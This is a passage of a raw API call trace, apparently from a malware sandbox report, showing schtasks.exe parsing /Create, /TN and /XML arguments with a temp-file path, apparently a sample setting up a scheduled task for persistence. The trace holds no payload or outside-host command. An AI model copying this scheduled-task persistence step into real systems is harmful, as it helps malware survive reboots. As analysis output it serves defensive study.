_Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|change|") returned 8 [0292.032] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|XML|") returned 5 [0292.032] lstrlenW (lpString="|change|") returned 8 [0292.032] lstrlenW (lpString="|XML|") returned 5 [0292.032] StrStrIW (lpFirst="|change|", lpSrch="|XML|") returned 0x0 [0292.032] SetLastError (dwErrCode=0x490) [0292.032] lstrlenW (lpString="run") returned 3 [0292.032] lstrlenW (lpString="run") returned 3 [0292.032] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.032] lstrlenW (lpString="XML") returned 3 [0292.032] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.032] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|run|") returned 5 [0292.032] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|XML|") returned 5 [0292.032] lstrlenW (lpString="|run|") returned 5 [0292.032] lstrlenW (lpString="|XML|") returned 5 [0292.032] StrStrIW (lpFirst="|run|", lpSrch="|XML|") returned 0x0 [0292.032] SetLastError (dwErrCode=0x490) [0292.032] lstrlenW (lpString="end") returned 3 [0292.033] lstrlenW (lpString="end") returned 3 [0292.033] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.033] lstrlenW (lpString="XML") returned 3 [0292.033] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.033] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|end|") returned 5 [0292.033] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|XML|") returned 5 [0292.033] lstrlenW (lpString="|end|") returned 5 [0292.033] lstrlenW (lpString="|XML|") returned 5 [0292.033] StrStrIW (lpFirst="|end|", lpSrch="|XML|") returned 0x0 [0292.033] SetLastError (dwErrCode=0x490) [0292.033] lstrlenW (lpString="showsid") returned 7 [0292.033] lstrlenW (lpString="showsid") returned 7 [0292.033] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.033] lstrlenW (lpString="XML") returned 3 [0292.033] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.033] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0xa, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|showsid|") returned 9 [0292.033] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x6, _Format="|%s|", _ArgList=0x20f8e4 | out: _Buffer="|XML|") returned 5 [0292.033] lstrlenW (lpString="|showsid|") returned 9 [0292.033] lstrlenW (lpString="|XML|") returned 5 [0292.033] StrStrIW (lpFirst="|showsid|", lpSrch="|XML|") returned 0x0 [0292.033] SetLastError (dwErrCode=0x490) [0292.033] SetLastError (dwErrCode=0x490) [0292.033] SetLastError (dwErrCode=0x0) [0292.033] lstrlenW (lpString="/XML") returned 4 [0292.033] StrChrIW (lpStart="/XML", wMatch=0x3a) returned 0x0 [0292.033] SetLastError (dwErrCode=0x490) [0292.033] SetLastError (dwErrCode=0x0) [0292.033] lstrlenW (lpString="/XML") returned 4 [0292.033] GetProcessHeap () returned 0x220000 [0292.034] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xa) returned 0x2352a0 [0292.034] GetProcessHeap () returned 0x220000 [0292.034] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x235968 [0292.034] SetLastError (dwErrCode=0x0) [0292.034] SetLastError (dwErrCode=0x0) [0292.034] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp") returned 49 [0292.034] lstrlenW (lpString="-/") returned 2 [0292.034] StrChrIW (lpStart="-/", wMatch=0x43) returned 0x0 [0292.034] SetLastError (dwErrCode=0x490) [0292.034] SetLastError (dwErrCode=0x490) [0292.034] SetLastError (dwErrCode=0x0) [0292.034] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp") returned 49 [0292.034] StrChrIW (lpStart="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp", wMatch=0x3a) returned=":\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp" [0292.034] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp") returned 49 [0292.034] GetProcessHeap () returned 0x220000 [0292.034] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x10) returned 0x2352d0 [0292.034] _memicmp (_Buf1=0x2352d0, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.034] GetProcessHeap () returned 0x220000 [0292.034] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xc) returned 0x2352e8 [0292.034] GetProcessHeap () returned 0x220000 [0292.034] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x10) returned 0x235300 [0292.034] _memicmp (_Buf1=0x235300, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.035] GetProcessHeap () returned 0x220000 [0292.035] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x68) returned 0x236280 [0292.035] SetLastError (dwErrCode=0x7a) [0292.035] SetLastError (dwErrCode=0x0) [0292.035] SetLastError (dwErrCode=0x0) [0292.035] lstrlenW (lpString="C") returned 1 [0292.035] SetLastError (dwErrCode=0x490) [0292.035] SetLastError (dwErrCode=0x0) [0292.035] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\tmp6BEF.tmp") returned 49 [0292.035] GetProcessHeap () returned 0x220000 [0292.035] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x64) returned 0x2362f0 [0292.035] GetProcessHeap () returned 0x220000 [0292.035] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x235988 [0292.035] SetLastError (dwErrCode=0x0) [0292.035] GetProcessHeap () returned 0x220000 [0292.035] GetProcessHeap () returned 0x220000 [0292.035] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x236f48) returned 1 [0292.035] GetProcessHeap () returned 0x220000 [0292.035] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x236f48) returned 0x8 [0292.035] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x236f48 | out: hHeap=0x220000) returned 1 [0292.035] GetProcessHeap () returned 0x220000 [0292.035] GetProcessHeap () returned 0x220000 [0292.035] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235908) returned 1 [0292.035] GetProcessHeap () returned 0x220000 [0292.035] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235908) returned 0x14 [0292.035] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235908 | out: hHeap=0x220000) returned 1 [0292.035] GetProcessHeap () returned 0x220000 [0292.035] GetProcessHeap () returned 0x220000 [0292.035] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x236f58) returned 1 [0292.035] GetProcessHeap () returned 0x220000 [0292.035] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x236f58) returned 0x22 [0292.036] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x236f58 | out: hHeap=0x220000) returned 1 [0292.036] GetProcessHeap () returned 0x220000 [0292.036] GetProcessHeap () returned 0x220000 [0292.036] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235948) returned 1 [0292.036] GetProcessHeap () returned 0x220000 [0292.036] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235948) returned 0x14 [0292.036] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235948 | out: hHeap=0x220000) returned 1 [0292.036] GetProcessHeap () returned 0x220000 [0292.036] GetProcessHeap () returned 0x220000 [0292.036] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2352a0) returned 1 [0292.036] GetProcessHeap () returned 0x220000 [0292.036] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2352a0) returned 0xa [0292.036] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2352a0 | out: hHeap=0x220000) returned 1 [0292.036] GetProcessHeap () returned 0x220000 [0292.036] GetProcessHeap () returned 0x220000 [0292.036] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235968) returned 1 [0292.036] GetProcessHeap () returned 0x220000 [0292.036] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235968) returned 0x14 [0292.036] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235968 | out: hHeap=0x220000) returned 1 [0292.036] GetProcessHeap () returned 0x220000 [0292.036] GetProcessHeap () returned 0x220000 [0292.036] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x2362f0) returned 1 [0292.036] GetProcessHeap () returned 0x220000 [0292.036] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x2362f0) returned 0x64 [0292.036] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2362f0 | out: hHeap=0x220000) returned 1 [0292.036] GetProcessHeap () returned 0x220000 [0292.036] GetProcessHeap () returned 0x220000 [0292.036] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x235988) returned 1 [0292.036] GetProcessHeap () returned 0x220000 [0292.036] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x235988) returned 0x14 [0292.036] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x235988 | out: hHeap=0x220000) returned 1 [0292.036] GetProcessHeap () returned 0x220000 [0292.036] GetProcessHeap () returned 0x220000 [0292.037] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x22f598) returned 1 [0292.037] GetProcessHeap () returned 0x220000 [0292.037] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x22f598) returned 0x10 [0292.037] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x22f598 | out: hHeap=0x220000) returned 1 [0292.037] SetLastError (dwErrCode=0x0) [0292.037] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0292.037] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0292.037] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0292.037] VerifyVersionInfoW (in: lpVersionInformation=0x20ccfc, dwTypeMask=0x3, dwlConditionMask=0x1801b | out: lpVersionInformation=0x20ccfc) returned 1 [0292.037] SetLastError (dwErrCode=0x0) [0292.037] lstrlenW (lpString="create") returned 6 [0292.037] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0292.037] SetLastError (dwErrCode=0x490) [0292.037] SetLastError (dwErrCode=0x0) [0292.037] lstrlenW (lpString="create") returned 6 [0292.037] GetProcessHeap () returned 0x220000 [0292.037] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x235988 [0292.037] GetProcessHeap () returned 0x220000 [0292.037] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x10) returned 0x22f598 [0292.037] _memicmp (_Buf1=0x22f598, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.037] GetProcessHeap () returned 0x220000 [0292.038] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x16) returned 0x235968 [0292.038] SetLastError (dwErrCode=0x0) [0292.038] _memicmp (_Buf1=0x2351f8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.038] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x236070, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")) returned 0x20 [0292.038] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0292.038] GetProcessHeap () returned 0x220000 [0292.038] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x74e) returned 0x236f48 [0292.038] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x236f48 | out: lpData=0x236f48) returned 1 [0292.039] VerQueryValueW (in: pBlock=0x236f48, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x20ce04, puLen=0x20ce08 | out: lplpBuffer=0x20ce04*=0x2372e4, puLen=0x20ce08) returned 1 [0292.039] _memicmp (_Buf1=0x2351f8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.039] _vsnwprintf (in: _Buffer=0x236070, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x20cdec | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0292.039] VerQueryValueW (in: pBlock=0x236f48, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x20ce14, puLen=0x20ce10 | out: lplpBuffer=0x20ce14*=0x237110, puLen=0x20ce10) returned 1 [0292.039] lstrlenW (lpString="schtasks.exe") returned 12 [0292.039] lstrlenW (lpString="schtasks.exe") returned 12 [0292.039] lstrlenW (lpString=".EXE") returned 4 [0292.039] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0292.039] lstrlenW (lpString="schtasks.exe") returned 12 [0292.039] lstrlenW (lpString=".EXE") returned 4 [0292.039] lstrlenW (lpString="schtasks") returned 8 [0292.039] lstrlenW (lpString="/create") returned 7 [0292.039] _memicmp (_Buf1=0x2351f8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.039] _vsnwprintf (in: _Buffer=0x236070, _BufferCount=0x19, _Format="%s %s", _ArgList=0x20cdec | out: _Buffer="schtasks /create") returned 16 [0292.039] _memicmp (_Buf1=0x235258, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.039] GetProcessHeap () returned 0x220000 [0292.039] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x235948 [0292.039] _memicmp (_Buf1=0x235270, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.039] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x236d08, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0292.039] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0292.039] GetProcessHeap () returned 0x220000 [0292.039] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x30) returned 0x2362f0 [0292.039] _vsnwprintf (in: _Buffer=0x236c60, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x20cdf0 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0292.039] GetProcessHeap () returned 0x220000 [0292.039] GetProcessHeap () returned 0x220000 [0292.039] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x236f48) returned 1 [0292.039] GetProcessHeap () returned 0x220000 [0292.040] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x236f48) returned 0x74e [0292.040] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x236f48 | out: hHeap=0x220000) returned 1 [0292.040] SetLastError (dwErrCode=0x0) [0292.040] GetThreadLocale () returned 0x409 [0292.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.040] lstrlenW (lpString="create") returned 6 [0292.040] GetThreadLocale () returned 0x409 [0292.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.040] lstrlenW (lpString="?") returned 1 [0292.040] GetThreadLocale () returned 0x409 [0292.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.040] lstrlenW (lpString="s") returned 1 [0292.040] GetThreadLocale () returned 0x409 [0292.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.040] lstrlenW (lpString="u") returned 1 [0292.040] GetThreadLocale () returned 0x409 [0292.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.040] lstrlenW (lpString="p") returned 1 [0292.040] GetThreadLocale () returned 0x409 [0292.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.040] lstrlenW (lpString="ru") returned 2 [0292.040] GetThreadLocale () returned 0x409 [0292.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.040] lstrlenW (lpString="rp") returned 2 [0292.040] GetThreadLocale () returned 0x409 [0292.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.040] lstrlenW (lpString="sc") returned 2 [0292.040] GetThreadLocale () returned 0x409 [0292.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.040] lstrlenW (lpString="mo") returned 2 [0292.040] GetThreadLocale () returned 0x409 [0292.040] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.040] lstrlenW (lpString="d") returned 1 [0292.040] GetThreadLocale () returned 0x409 [0292.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.041] lstrlenW (lpString="m") returned 1 [0292.041] GetThreadLocale () returned 0x409 [0292.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.041] lstrlenW (lpString="i") returned 1 [0292.041] GetThreadLocale () returned 0x409 [0292.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.041] lstrlenW (lpString="tn") returned 2 [0292.041] GetThreadLocale () returned 0x409 [0292.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.041] lstrlenW (lpString="tr") returned 2 [0292.041] GetThreadLocale () returned 0x409 [0292.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.041] lstrlenW (lpString="st") returned 2 [0292.041] GetThreadLocale () returned 0x409 [0292.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.041] lstrlenW (lpString="sd") returned 2 [0292.041] GetThreadLocale () returned 0x409 [0292.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.041] lstrlenW (lpString="ed") returned 2 [0292.041] GetThreadLocale () returned 0x409 [0292.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.041] lstrlenW (lpString="it") returned 2 [0292.041] GetThreadLocale () returned 0x409 [0292.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.041] lstrlenW (lpString="et") returned 2 [0292.041] GetThreadLocale () returned 0x409 [0292.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.041] lstrlenW (lpString="k") returned 1 [0292.041] GetThreadLocale () returned 0x409 [0292.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.041] lstrlenW (lpString="du") returned 2 [0292.041] GetThreadLocale () returned 0x409 [0292.041] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.041] lstrlenW (lpString="ri") returned 2 [0292.041] GetThreadLocale () returned 0x409 [0292.042] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.042] lstrlenW (lpString="z") returned 1 [0292.042] GetThreadLocale () returned 0x409 [0292.042] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.042] lstrlenW (lpString="f") returned 1 [0292.042] GetThreadLocale () returned 0x409 [0292.042] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.042] lstrlenW (lpString="v1") returned 2 [0292.042] GetThreadLocale () returned 0x409 [0292.042] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.042] lstrlenW (lpString="xml") returned 3 [0292.042] GetThreadLocale () returned 0x409 [0292.042] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.042] lstrlenW (lpString="ec") returned 2 [0292.042] GetThreadLocale () returned 0x409 [0292.042] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.042] lstrlenW (lpString="rl") returned 2 [0292.042] GetThreadLocale () returned 0x409 [0292.042] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.042] lstrlenW (lpString="delay") returned 5 [0292.042] GetThreadLocale () returned 0x409 [0292.042] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0292.042] lstrlenW (lpString="np") returned 2 [0292.042] SetLastError (dwErrCode=0x0) [0292.042] SetLastError (dwErrCode=0x0) [0292.042] lstrlenW (lpString="/Create") returned 7 [0292.042] lstrlenW (lpString="-/") returned 2 [0292.042] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0292.042] lstrlenW (lpString="create") returned 6 [0292.042] lstrlenW (lpString="create") returned 6 [0292.042] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.042] lstrlenW (lpString="Create") returned 6 [0292.042] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.043] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x9, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|create|") returned 8 [0292.043] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x9, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|Create|") returned 8 [0292.043] lstrlenW (lpString="|create|") returned 8 [0292.043] lstrlenW (lpString="|Create|") returned 8 [0292.043] StrStrIW (lpFirst="|create|", lpSrch="|Create|") returned="|create|" [0292.043] SetLastError (dwErrCode=0x0) [0292.043] SetLastError (dwErrCode=0x0) [0292.043] SetLastError (dwErrCode=0x0) [0292.043] lstrlenW (lpString="/TN") returned 3 [0292.043] lstrlenW (lpString="-/") returned 2 [0292.043] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0292.043] lstrlenW (lpString="create") returned 6 [0292.043] lstrlenW (lpString="create") returned 6 [0292.043] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.043] lstrlenW (lpString="TN") returned 2 [0292.043] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.043] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x9, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|create|") returned 8 [0292.043] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|TN|") returned 4 [0292.043] lstrlenW (lpString="|create|") returned 8 [0292.043] lstrlenW (lpString="|TN|") returned 4 [0292.043] StrStrIW (lpFirst="|create|", lpSrch="|TN|") returned 0x0 [0292.043] SetLastError (dwErrCode=0x490) [0292.043] lstrlenW (lpString="?") returned 1 [0292.043] lstrlenW (lpString="?") returned 1 [0292.043] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.043] lstrlenW (lpString="TN") returned 2 [0292.043] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.043] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|?|") returned 3 [0292.043] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|TN|") returned 4 [0292.043] lstrlenW (lpString="|?|") returned 3 [0292.044] lstrlenW (lpString="|TN|") returned 4 [0292.044] SetLastError (dwErrCode=0x490) [0292.044] lstrlenW (lpString="s") returned 1 [0292.044] lstrlenW (lpString="s") returned 1 [0292.044] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.044] lstrlenW (lpString="TN") returned 2 [0292.044] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.044] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|s|") returned 3 [0292.044] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|TN|") returned 4 [0292.044] lstrlenW (lpString="|s|") returned 3 [0292.044] lstrlenW (lpString="|TN|") returned 4 [0292.044] SetLastError (dwErrCode=0x490) [0292.044] lstrlenW (lpString="u") returned 1 [0292.044] lstrlenW (lpString="u") returned 1 [0292.044] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.044] lstrlenW (lpString="TN") returned 2 [0292.044] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.044] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|u|") returned 3 [0292.044] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|TN|") returned 4 [0292.044] lstrlenW (lpString="|u|") returned 3 [0292.044] lstrlenW (lpString="|TN|") returned 4 [0292.044] SetLastError (dwErrCode=0x490) [0292.044] lstrlenW (lpString="p") returned 1 [0292.044] lstrlenW (lpString="p") returned 1 [0292.044] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.044] lstrlenW (lpString="TN") returned 2 [0292.044] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.044] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x4, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|p|") returned 3 [0292.044] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|TN|") returned 4 [0292.044] lstrlenW (lpString="|p|") returned 3 [0292.045] lstrlenW (lpString="|TN|") returned 4 [0292.045] SetLastError (dwErrCode=0x490) [0292.045] lstrlenW (lpString="ru") returned 2 [0292.045] lstrlenW (lpString="ru") returned 2 [0292.045] _memicmp (_Buf1=0x235288, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.045] lstrlenW (lpString="TN") returned 2 [0292.045] _memicmp (_Buf1=0x2352b8, _Buf2=0xff1ed8, _Size=0x7) returned 0 [0292.045] _vsnwprintf (in: _Buffer=0x235928, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|ru|") returned 4 [0292.045] _vsnwprintf (in: _Buffer=0x2358e8, _BufferCount=0x5, _Format="|%s|", _ArgList=0x20cdd8 | out: _Buffer="|TN|") returned 